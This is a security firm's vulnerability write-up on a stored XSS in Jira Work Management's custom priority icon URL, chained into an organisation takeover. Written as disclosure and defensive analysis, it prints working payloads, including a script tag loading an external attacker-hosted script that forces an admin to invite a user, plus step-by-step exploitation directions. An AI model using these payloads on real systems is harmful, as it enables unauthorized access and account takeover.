From Stored XSS to Full Organization Takeover in Jira Work Management

Jira Work Management is a widely used collaboration tool designed to help teams track all activity considered work. Work might include running projects, managing approval processes, performing daily and periodic tasks, creating documents, and Managing issues.

Our team recently found an Stored XSS issue in Jira Work management which allowed them to demonistrate an Full Orginisation Takeover impact within Jira Work Management Software of Atlassian.

Vulnerabilty Discovery

Jira work management is one of the products that lie within Atlaissian Eco-system and is accessable through the url bugbounty-test-<bugcrowd-name>.atlassian.net/jira/your-work

Different organizations use Jira work Management to track different kinds of issues, which can represent anything from a software bug, to a project task, or a leave request form.

users can create issues and track them, Issues in Jira are made up of fields that store various pieces of information. Every issue comes with default system fields, like name or description, Periority etc, An issue's priority indicates its relative importance within the target Orginisation.

Jira Work Management provide default priorities values like(Highest, High, Medium, Low, Lowest) But Both the priorities and their meanings can be customized by your administrator to suit your organization.

We Noticed An user with proper permissions can create a new Custom Periority with icon URL Property set to https://google.com?name=</script><script>alert(0)</script>

On Saving the Periority, it seems there was no Validation(Encoding) or Icon Url property happening at the backend, hence triggered an XSS at the Frontend.

Security Impact

In the context of web application the Stored XSS has an Known impact, Stored XSS (also known as second-order XSS) is the most dangerous type of cross-site scripting attack. The reason is that it does not require users to click a malicious link or perform any activity, other than browsing to a legitimate web page. Once an attacker discovers a stored XSS vulnerability and stores the XSS code into the context of the the target web application, all visitors to affected pages can be compromised by either stealing their session cookies/Tokens or making several changes(email-change etc) to their account leading to full account takeover impact.

The real challenge for us was demonstrating the proper impact of the vulnerability. Because this was an authenticated XSS, we went straight to Jira User management and spent some time understanding user roles and their and levels of access within the application.

The goal was to find the lowest-level role possible that could create the Custom Priority with an XSS payload and then deliver the attack to Admin/Super admins within the organisation.

and we landed on Product admin permission , He had no permission to access any of the jira products like Confluence, Service management which means he don't have access to any Jira applications but can perform administration tasks which includes Editing Issues Periorties.

Performing a Full orginisation takeover

Now let's assume we have invited an User with Product admin permission > he has no permission to access any of the jira products like Confluence, Service management which means he don't have access to any Jira applications but can perform administration tasks which includes Editing Issues Periorties.

Now Scroll down and Add a new Priorities with the following icon url, and click ADD button https://google.com?name=</script><script src=https://snapsec.co/jira-xss.js></script>

Now as soon as Admin Visits the same page from his browser, An invite request will be sent from his browser .

and to confirm you can go to user management and see attacker forced admin to invited a new user with access to 3 products, Hence would allow him to view/create/delete/modify projects in those products

Conclusion

This finding highlights a critical reality: even mature platforms like Jira Work Management can harbor subtle yet high-impact vulnerabilities when input validation is overlooked in seemingly low-risk features.

What makes this issue particularly dangerous is not just the presence of a stored XSS, but the context in which it exists. A user with limited visibility—such as a Product Admin without direct product access—was still able to inject persistent malicious payloads into a globally accessible configuration. This breaks the common assumption that restricted product access inherently limits security risk.

By chaining this misconfiguration with normal administrative workflows, we demonstrated how a low-privileged role could reliably target higher-privileged users. The moment an administrator interacted with the affected component, the payload executed in a trusted context—allowing actions such as unauthorized user invitations and privilege escalation. This ultimately led to a full organization takeover scenario.

This case underscores three key lessons for modern SaaS security:

Never trust administrative inputs by default — backend validation and output encoding must be consistently enforced, even in internal configuration panels.
Access control does not equal risk control — users with partial administrative permissions can still impact global application behavior.
Stored XSS remains a critical threat — especially when it intersects with high-privilege user workflows.

From a defensive standpoint, organizations using Jira should review permission models, audit administrative capabilities, and ensure strict validation on all customizable fields. For vendors, this serves as a reminder that security must be deeply integrated across all layers—not just user-facing inputs.

At Snapsec, this research reflects our core belief: real security isn’t about surface-level scanning—it’s about understanding how features, roles, and workflows interact under real-world conditions.

Explore Live Demo